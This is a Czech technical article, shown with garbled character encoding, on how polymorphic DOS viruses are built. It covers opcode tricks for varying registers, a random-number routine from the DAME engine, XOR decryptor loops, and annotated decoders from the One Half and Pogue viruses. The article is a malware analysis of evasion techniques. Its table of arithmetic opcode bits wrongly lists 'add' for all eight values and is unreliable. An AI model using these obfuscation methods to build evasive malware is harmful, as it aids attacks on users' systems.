Konstrukce polymorfnφch vir∙


Polymorfnφ viry jsou bezesporu nejp°ita₧liv∞jÜφ skupinou vir∙. K≤d, kter² je schopen poka₧dΘ jin²m zp∙sobem vygenerovat svΘ t∞lo, ji₧ podv∞dom∞ budφ zv∞davost a nabφzφ myÜlenkovou paralelu s viry biologick²mi. I polymorfnφ virus je vÜak stßle pouh²m programem, kter² pracuje tak, jak byl programßtorem sestaven.
Jßdrem polymorfnφch vir∙ je algoritmus k≤dovacφho a dek≤dovacφho mechanismu. Existujφ dva zßkladnφ druhy k≤dovacφch mechanism∙:

  • Reverzibilnφ algoritmus
    K≤der i dek≤der je integrovßn do jednoho mechanismu, pou₧itelnΘho pro oba ·Φely. Reverzibilita b²vß Φasto nejΦast∞ji dosa₧ena pomocφ logickΘ operace xor. Reverzibilnφ algoritmus je v²hradn∞ pou₧φvßn viry semi-polymorfnφmi, jejich₧ k≤dovßnφ je velice primitivnφ a stojφ na hierarchickΘm stupni v²voje pod viry pln∞ polymorfnφmi.

  • Nereverzibilnφ algoritmus
    Nereverzibilnφ mechanismus mß separßtn∞ odd∞len² kodΘr i dekodΘ°. K≤dovßnφ je tvo°eno zejmΘna postupn²m a poka₧dΘ jin²m sklßdßnφm v²poΦtu, kterΘ neumo₧≥uje identickΘ pou₧itφ pro dek≤dovßnφ.
    Oba druhy k≤dovacφch mechanism∙ b²vajφ v t∞le viru proklßdßny nev²znamn²mi instrukcemi, kterΘ slou₧φ zejmΘna pro znesnadn∞nφ detekce viru antivirov²mi programy, ale takΘ i pro p°φpadnΘ zajiÜt∞nφ prom∞nnΘ dΘlky viru.
    Nezbytnou souΦßstφ polymorfnφch vir∙ je generßtor pseudonßhodn²ch Φφsel, kter² je viry vyu₧φvßn pro nßhodn² v²b∞r pou₧itφ registr∙, mechanismu k≤dovßnφ apod. Generovßnφ pseudonßhodn²ch Φφsel b²vß r∙znΘ, od p°φmΘho pou₧itφ hodnot aktußlnφho Φasu a₧ po rekurentnφ v²poΦty, pou₧φvajφcφ systΘmov² ΦasovaΦ.
    V reßlnΘm sv∞t∞ se polymorfnφ viry vyskytujφ tΘm∞° v²hradn∞ v podob∞ vir∙ souborov²ch. Bootovacφ podoba polymorfnφch vir∙ je velice vzßcnß (nap°. virus Zaraza), co₧ je dßno zejmΘna tφm, ₧e bootovacφ viry majφ pro svΘ maskovßnφ dostatek p°φle₧itosti p°i zavßd∞nφ operaΦnφho systΘmu, kdy mohou vyu₧φvat p°φmΘ stealth techniky.

    Princip implementace polymorfismu

    Virov² polymorfismus je zalo₧en na dvou zßkladnφch principech instrukΦnφho souboru mikroprocesor∙ °ady INTEL, pou₧φvan²ch v poΦφtaΦφch PC. VÜechny instrukce procesoru majφ definovanou masku s parametrick²m bitov²m polem, kterΘ up°es≥uje pracovnφ operandy. Polymorfnφ viry vyu₧φvajφ prßv∞ tuto podobnost, je₧ jim zaruΦuje prßv∞ stejnß maska pro instrukce podobnΘho v²znamu.

  • P°φmß podobnost instrukcφ
    P°φmß podobnost vyu₧φvß sousednosti instrukcφ v instrukΦnφm souboru. Nap°. hexadecimßlnφ hodnotou b8 zaΦφnß sekce instrukcφ napl≥ujφcφ 16bitov² registr p°φm²m operandem:

    b8h ... mov ax, "primy operand"
    b9h ... mov cx, "primy operand"
    bah ... mov dx, "primy operand"
    bbh ... mov bx, "primy operand"
    bch ... mov sp, "primy operand"
    bdh ... mov bp, "primy operand"
    beh ... mov si, "primy operand"
    bfh ... mov di, "primy operand"
     
    Tuto podobnost vyu₧φvß nap°. virus One Half (podrobn∞ji viz dßle) pro v²b∞r dek≤dovacφho registru. Prost² souΦet hodnoty b8h a hodnoty nßhodnΘho Φφsla v rozsahu 0 a₧ 7 generuje p°φsluÜn² registr. K≤d bch b²vß viry zapov∞zen, nebo¥ ukazatel na zßsobnφk je z pochopiteln²ch d∙vod∙ tabu.
    ╚asto vyu₧φvanou je podobnost push a pop instrukcφ:

    50h ... push ax      58h ... pop ax
    51h ... push cx      59h ... pop cx
    52h ... push dx      5ah ... pop dx
    53h ... push bx      5bh ... pop bx
    54h ... push sp      5ch ... pop sp
    55h ... push bp      5dh ... pop bp
    56h ... push si      5eh ... pop si
    57h ... push di      5fh ... pop di
     
  • Podobnost skupiny instrukcφ
    V tomto p°φpad∞ se jednß o vφcebajtovΘ instrukce, kdy prvnφ bajt specifikuje skupinu instrukcφ (aritmetickΘ operace, operace posuvu a rotacφ apod.) a a₧ druh² bajt urΦuje samotn² k≤d instrukce. Druh² bajt instrukce mß definovan² bitov² tvar XXYYYZZZ, kde prvnφ dva bity XX udßvajφ m≤d, prost°ednφ t°i bity YYY p°edstavujφ po₧adovanou instrukci a poslednφ t°i bity ZZZ specifikujφ operand (registr Φi pam∞t). Pro polymorfismus jsou d∙le₧itΘ zejmΘna bity YYY aritmetick²ch operacφ, jejich₧ kombinace p°edstavujφ tyto instrukce:

    000 ... add
    001 ... add
    010 ... add
    011 ... add
    100 ... add
    101 ... add
    110 ... add
    111 ... add
     
    Vymaskovßnφ, resp. nastavenφ bit∙ YYY na hodnotu nßhodnΘho Φφsla z intervalu 0 a₧ 7 op∞t generuje p°φsluÜnou instrukci.

    Generßtor pseudonßhodn²ch Φφsel


    SystΘmov² Φas, resp. ΦφtaΦ cykl∙ ΦasovaΦe 8253 pat°φ k zßkladnφm zp∙sob∙m, jak mohou polymorfn∞ zam∞°enΘ viry zφskat "nßhodnou" Φφselnou hodnotu. ╚asovaΦ taktuje ka₧d²ch 55 ms a jeho hodnota je viry zp°φstup≥ovßna zejmΘna p°es port 40h. DalÜφ mo₧nostφ je ekvivalentnφ p°φmΘ Φtenφ z prom∞nnΘ BIOSu na adrese 0:046c.
    Strukturou generßtoru charakterizuje ukßzka vybranß ze zdrojovΘho tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecnß podoba generßtoru b²vß tvo°ena dv∞ma st∞₧ejnφmi Φßstmi: poΦßteΦnφ pseudonßhodnou inicializaΦnφ rutinou a rekurentnφm vzorcem pro vlastnφ v²poΦet pseudonßhodnΘho Φφsla.

    Inicializace generßtoru pseudonßhodn²ch Φφsel.
    init_rnd:
         	push dx		; uschova registru
    	push cx
    	push bx
    	mov ah, 2ch	; sluzba "Cti systemovy cas"
    	int 21h		; Obsazeni registru po provedeni sluzby:
    			; CH ... hodiny (0 az 23)
    			; CL ... minuty (0 az 59)
    			; DH ... sekundy (0 az 59)
    			; DL ... setiny sekund (0 az 99)
     
    Pro n∞kterΘ viry je generßtor pseudonßhodn²ch Φφsel tvo°en pouze tφmto volßnφm. Virus Brain nap°. pou₧φvß pro k≤dovßnφ xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je z°ejmΘ, ₧e virus m∙₧e vygenerovat sto r∙zn∞ k≤dovan²ch tvar∙ virovΘho t∞la.
    in    al, 40h		; nacteni casovace
    mov   ah, al
    in    al, 40h		; nacteni casovace
    xor   ax, cx		; rozsireni na cely rozsah cisla integer
    xor   dx, ax            ;
    jmp   short rnd_done    ; skok na konec generatoru
    
    V²poΦet pseudonßhodnΘho Φφsla.
    get_rnd:
    	push dx         ; uschova registru
    	push cx
    	push bx
    	in   al, 40h	; nacteni casovace
    	db   05h	; add ax, hodnota patch1
    patch1	     dw 0	; prvni rekurentni konstanta
    	db 0bah		; mov dx, hodnota patch2
    patch2	     dw 0	; druha rekurentni konstanta
    	mov  cx, 7	; sedmipruchodova
    rnd_loop:		; smycka
    	shl  ax, 1	; pro
    	rcl  dx, 1	; vypocet
    	mov  bl, al	; pseudonahodneho
    	xor  bl, dh	; cisla
    	jns  lbl	;
    	inc  al		;
    lbl:
    	loop rnd_loop
    rnd_done:		; ukonceni generovani
    	mov  patch1, ax	; naplneni
    	mov  patch2, dx ; rekurentnich konstant
    	mov  al, dl     ; "doladeni" vysledku
    	pop  bx		; obnova registru
    	pop  cx
    	pop  dx
    	retn 		; pseudonahodne cislo je v registru AX
     
    V t∞le polymorfnφ Φßsti viru je pak generßtor volßn instrukcemi "call init_rnd" pro poΦßteΦnφ nastartovßnφ generßtoru a "call get_rnd" pro zφskßnφ pseudonßhodnΘho Φφsla. ZφskanΘ pseudonßhodnΘ Φφslo je pak pro pot°ebu danΘho maximßlnφho rozsahu 0 a₧ MAX o°ezßno instrukcφ "and ax, MAX", resp. "and al, MAX".

    Semi-polymorfnφ reverzibilnφ algoritmus


    ZnaΦnΘ mno₧stvφ vir∙ vyu₧φvß primitivnφ semi-polymorfnφ techniku k≤dovßnφ prost°ednictvφm logickΘ operace xor, kterß umo₧nuje zak≤dovat a odk≤dovat dan² ·daj pomocφ stejnΘho klφΦe.
    Uve∩me p°φklad. Nech¥ jsou dßny hexadecimßlnφ hodnoty k≤dovanΘho bajtu "ff" a (de)k≤dovacφho klφΦe "a1". Pak platφ:
    ff   xor   a1   =   5e   ... k≤dovßnφ
    5e   xor   a1   =   ff   ... dek≤dovßnφ
     
    Jak je vid∞t, po dvojφ aplikaci stejnΘho k≤dovacφho klφΦe obdr₧φme v²chozφ bajt. U t∞chto vir∙ m∙₧eme nejΦast∞ji nalΘzt tuto typickou posloupnost instrukcφ, plnφcφ funkci dek≤dovacφ rutiny:
    	mov  bx, adresa pocatku zakodovaneho tela
    	mov  dl, (od)kodovaci xor-konstanta
    	mov  cx, delka zakodovaneho tela v bajtech
    vlasti_smycka:
    	xor  cs:[bx], dl	; vlastni odkodovani
    	inc  bx			; posun na dalsi zakodovany bajt
    	loop vlastni_smycka
     
    Samoz°ejm∞, m∙₧e se liÜit pou₧itφ n∞kter²ch registr∙ Φi lze p°φpadn∞ dek≤dovat mφsto bajt∙ slova, ale princip v₧dy z∙stßvß tent²₧. Uvedenß metoda je navφc velice v²hodnß z d∙vodu univerzßlnosti tΘto rutiny jak pro k≤dovßnφ tak i pro dek≤dovßnφ.
    K≤dovacφ konstanta je pseudonßhodnß, jejφ mo₧nosti byly naznaΦeny v p°edchozφ kapitole.
    Mo₧nosti tΘto metody jsou siln∞ omezenΘ. Maximßlnφ mo₧nostφ, jak ztφ₧it detekovatelnost antivirov²mi scannery, je proklßdßnφ k≤du nev²znamn²mi instrukcemi. Ve svΘ podstat∞ statickß dek≤dovacφ smyΦka umo₧≥uje vyhledßvat tyto viry jednoduÜe pomocφ identifikaΦnφch virov²ch °etezc∙.
    Na rozdφl od pln∞ polymorfnφch vir∙ je semi-polymorfismus hojn∞ vyu₧φvßn i bootovacφmi viry.

    Polymorfnφ reverzibilnφ algoritmus


    I pro pln∞ polymorfnφ viry je z programßtorskΘho hlediska pro dosa₧enφ reverzibility algoritmu nejsna₧Üφ, a v podstat∞ i jedinou, mo₧nostφ pou₧itφ logickΘ operace xor. Virus One Half je u nßs jednφm z nejznßm∞jÜφch p°edstavitel∙ tΘto skupiny. ┌vodnφ dek≤dovacφ smyΦka je slo₧enß nßv∞Ütφ, je₧ ka₧dΘ mß nßsledujφcφ strukturu:
    V²konnß instrukce.
    Nßhodn² poΦet nev²znamn²ch instrukcφ p°ed nebo za v²konnou instrukcφ.
    Instrukce skouku na dalÜφ nßv∞Ütφ.

    I po°adφ jednotliv²ch nßv∞Ütφ, je₧ jsou umis¥ovßna do t∞la infikovanΘho programu (!) generuje One Half nßhodn∞, co₧ ·pln∞ znemo₧≥uje jeho detekci pomocφ b∞₧n²ch antivirov²ch scanner∙. Nev²znamn²mi instrukcemi jsou instrukce "nop", "stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemajφ vliv na vlastnφ b∞h dekodΘru, slou₧φ pouze ke zmatenφ scanneru. Instrukce skoku jsou generovßny bu∩ typu "jmp nßv∞Ütφ" nebo "jmp short nßv∞Ütφ".
    start:				; puvodni program (virovy lapac)
    	jmp  go
    	db   1536 dup (0)	; velikostni vypln (1536=600h)
    go:
    	int 20h
     
    Infikovan² program, tvo°en² v naÜem p°φpad∞ pouze velikostnφ v²plnφ, je nßv∞Ütφmi dekodΘru tvrd∞ p°epsßn. P°epsanΘ Φßsti jsou uschovßny v zak≤dovanΘm t∞le viru a p°ed pozd∞jÜφm p°edßnφm °φzenφ infikovanΘmu programu virus zajiÜ¥uje jejich obnovu, tak₧e u₧ivatel za b∞₧n²ch okolnostφ nic nepoznß. Tento postup navφc vy°azuje z Φinnosti odvirovacφ programy pracujφcφ na principu univerzßlnφho cleanu. LΘΦba takto zavirovan²ch program∙ b²vß realizovßna zejmΘna jedno·Φelov²mi programy.
    start:			; zavirovany tvar
    	jmp lbl_5	; skok na vstupni navesti dekoderu
     

    	db  542 dup (0)	; cast zavirovaneho programu
     

    lbl_1:			; vlastni dekodovani
    	ss:
    	xor [si], di	; xor [indexovaci registr], dekodovaci registr
    	nop
     	jmp lbl_4
     

    	db  18 dup (0)	; cast zavirovaneho programu
     

    lbl_2:			; otestovani priznaku ukonceni dekodovani
    	jnz lbl_1	; jne lbl_1 nebo jnz lbl_1
    	stc
    	cs:
    	std
    	jmp virus_entry	; ukonceni dekodovani
     

     	db  47 dup (0)	; cast zavirovaneho programu
     

    lbl_3:
    	pop ds		; pouze moznost pop ds
    	nop
    	jmp lbl_10
     

    	db  71 dup (0)	; cast zavirovaneho programu
     

    lbl_4:			; akutualizace dekodovaci konstanty
    	add di, 2eefh	; add dekodovaci registr, konstanta
    	jmp short lbl_6
     

    	db  38 dup (0)	; cast zavirovaneho programu
     

    lbl_5:
    	push ax		; pouze moznost push ax
    	stc
    	cld
    	jmp lbl_9
     

     	db  33 dup (0)	; cast zavirovaneho programu
     

    lbl_6:			; posun na dalsi zakodovane slovo
    	ds:
    	stc
    	cs:
    	inc si		; inc indexovaci registr
    	jmp short lbl_7
     

    	db  9 dup (0)	; cast infikovaneho programu
     

    lbl_7:			; test, je-li vse dekodovano
    	cmp si, 14ddh	; cmp indexovaci registr,
    			; offset pocatek_zakodovaneho_viru + delka viru
    	jmp lbl_2
     

    	db 142 dup (0) 	; cast infikovaneho programu
     

    lbl_8:			; uvodni naplneni dekodovaciho registru
    	mov di, 0ce3bh	; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
    			; s ohledem na kolizi s indexovacim registrem
    			; a jeho naplneni pocatecni dekodovaci konstantou
    	cld
    	sti
    	cld
    	jmp lbl_1
     

    	db  50 dup (0) 	; cast infikovaneho programu
     

    lbl_9:
    	cld
    	cmc
    	push ss		; push cs nebo push ss
    	clc
    	jmp lbl_3
     

    	db  354 dup (0) ; cast infikovaneho programu
     

    lbl_10:			; nastaveni pocatecniho mista pro dekodovani
    	mov si, 705h	; vyber indexovaciho registru bx, si, di
    			; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
    	jmp lbl_8
     

    	db 164 dup (0)	; cast infikovaneho programu
     
    Velikostnφ souΦet db-v²plnφ infikovanΘho programu Φinφ 1468 bajt∙, zbyl²ch 68 bajt∙ je dΘlka samotnΘho dekodΘru.
    go:
    	int 20h		; zbytek infikovaneho programu
     
    pocatek_zakodovaneho_viru:
    	Zakodovane telo viru One Half
     
    Pln∞ polymorfnφ mechanismus, na rozdφl od semi-polymorfnφch p°edch∙dc∙, zcela odsouvß do role statisty antivirovΘ scannery pracujφcφ na principu virov²ch identifikaΦnφch °etezc∙. KlφΦem k detekci polymorfnφch vir∙ je heuristickß metoda anal²zy k≤du programu.
    P°φklad souboru p°ed zavirovßnφm...
    ...a po zavirovßnφ virem OneHalf.3544. VÜimn∞te si deseti krßtk²ch programk∙, kterΘ jsou nßhodn∞ rozneseny p°ed samotn²m virem. Tyto progrßmky jsou navzßjem propojeny skoky, a dohromady tvo°φ dek≤dovacφ rutinu. Na zmatenφ antivir∙ jsou tyto krßtkΘ progrßmky plnΘ nic ned∞lajφcφch instrukcφ jako: nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc.

    Polymorfnφ nereverzibilnφ algoritmus


    Podstatou nereverzibilnφch virov²ch mechanism∙ je postupnΘ sklßdßnφ k≤du, resp. pln∞nφ hodnot p°φsluÜn²ch registr∙ provßd∞nφm dφlΦφch instrukcφ. Velice trefn²m p°irovnßnφm jsou populßrnφ puzzle. Nap°. realizovat instrukci "add ax, 2" je mo₧nΘ nep°ebern²m mno₧stvφm variant kombinacφ instrukcφ "inc","add","dec" a "sub":
    inc  ax		inc ax		add ax,4
    inc  ax		add ax, 1	sub ax,2
     
    Stejn∞ tak i plnφcφ instrukci "mov ax, 606h" lze realizovat zaml₧ujφcφm postupem:
    mov ax, 202h	; AX=202h
    mov bx, 101h	; BX=101h
    add ax, bx	; AX=303h
    shl ax, 1	; nasobeni dvema => AX=606h
     
    Obdobn²m zp∙sobem mohou nereverzibiln∞ zam∞°enΘ viry modifikovat pou₧itφ skokov²ch instrukcφ prost°ednictvφm skok∙ p°es pomocnß nßv∞Ütφ, p°φp. instrukci cyklu "loop" mohou nahradit posloupnostφ instrukcφ "dec cx" a "jnz navesti_smycky" apod. Dß se °φci, ₧e mo₧nosti jsou omezeny pouze fantaziφ a schopnostmi virov²ch pisatel∙.
    Nereverzibilnφ mechanismy poskytujφ i pru₧n∞jÜφ prost°edky pro mo₧nost generovßnφ prom∞nnΘ dΘlky viru, ne₧ je tomu v p°φpad∞ algoritm∙ reverzibilnφch.
    Typick²m p°φkladem je nereverzibilnφ MtE mechanismus viru Pogue, infikujφcφ programy typu COM:
    start:
    	dec bp		; priznak zavirovaneho souboru
    	jmp dekoder
    	... infikovany program ...
     
    dekoder:
    	mov bp, 0a16ch	; bp=a16c
    	mov cl, 3
    	ror bp, cl	; bp=942d
    	mov cx, bp
    	mov bp, 856eh	; bp=856e
    	or  bp, 740fh	; bp=f56f
    	mov si, bp
    	mov bp, 3b92h	; bp=3b92
    	add bp, si	; bp=3101
    	xor bp, cx	; bp=a52c
    	sub bp, 0b10ch	; bp=f420
     
    Uvodnφ Φßst dekodΘru pouze maskuje v²znamov∞ jedinou instrukci "mov bp, 0f420h". Tato hodnota slou₧φ v nßsledujφcφ smyΦce k bßzovΘ Φßsti adresy zak≤dovanΘho t∞la viru.
    smycka:
    	mov bx, [bp + 0d23h]	; poprve - mov bx, [0143]
    	add bx, 9d64h		; vlastni dekodovani
    	xchg [bp + 0d23h], bx	; a opetovne ulozeni zpracovaneho slova
     
    Virus refinovan∞ vyu₧φvß p°eteΦenφ v²sledku souΦtu hodnot bp a 0d23h; nastavenφ p°φznaku CF je v tomto p°φpad∞ nepodstatnΘ.
    	mov bx, 8f31h
    	sub bx, bp		; 9b11
    	mov bp, 8f33h
    	sub bp, bx		; bp=f422 (tj. add bp,2)
    	jnz smycka
     
    Instrukce posunu algoritmu na dalÜφ zak≤dovanΘ slovo ("add bp, 2") je op∞t zamaskovßna. PoΦßteΦnφ bßzovß hodnota f420h nenφ nßhodnß, ale je vybrßna s ohledem na po₧adovan² poΦet 1520 iteracφ, co₧ odpovφdß, vzhledem ke slovnφm operacφm, velikosti 3040 B zak≤dovanΘ Φßsti viru. Hodnota je dßna v²razem (64 kB - f420 + 1) / 2 = 1520.
    	mov bx, bp
    	mov cl, 3
    	ror bx, cl
     
    Zßv∞reΦnß Φßst dekodΘru je slo₧ena z nev²znamn²ch instrukcφ, pomocφ nich₧ virus dosahuje prom∞nnΘ dΘlky svΘho t∞la. Je zajφmavΘ sledovat, ₧e nev²znamn²mi instrukce nejsou pouze jednobajtovΘ instrukce typu "nop" Φi "cmc", ale podstatn∞ komplikovan∞jÜφ konstrukce.
    segment:0143
    	... zakodovana cast tela viru Pogue ...
     

    Zdroj: Computer Press, ???